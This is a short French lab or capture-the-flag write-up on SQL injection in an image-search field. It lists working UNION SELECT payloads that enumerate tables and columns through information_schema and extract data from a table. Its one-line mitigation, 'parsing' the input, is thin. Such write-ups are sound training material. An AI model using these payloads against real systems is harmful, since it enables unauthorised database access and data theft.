SQL injection image search

Il s’agit de faire des requêtes SQL dans un champ qui n’est pas prévu à cet effet

Exploration

Quand on regarde la page pour rechercher une image par ID on constate que l’information sortie est du texte avec un formatage qui ressemble à une réponse pour une requêtes SQL
D’ailleurs en mettant juste « 1 or true » dans la barre de recherche, on obtient ce qui semble être la liste complète des images.

Offensive

On lance différentes requêtes permettant de naviguer dans la base de donnée.
«1 or true »
Donne la liste complète des images dont une qui s’appellerait « Hack me ? »
« 2 or true union select table_name, table_type from information_schema.tables »
Donne la liste des tables de la DB
« 3 or true union select table_name, column_name from information_schema.columns »
donne les colonnes des tables de la DB
« 4 or true union select title, comment from list_images »
on récupère les colonnes « title » et « comment » de la table « list_images »

Faille

Le contenu de la barre de recherche est envoyé tel quel dans la requêtes SQL

Mitigation

Il suffit de faire un parsing du contenu de la barre de recherche avant d’envoyer une quelconque requête SQL.

Sources

- https://portswigger.net/web-security/sql-injection/examining-the-database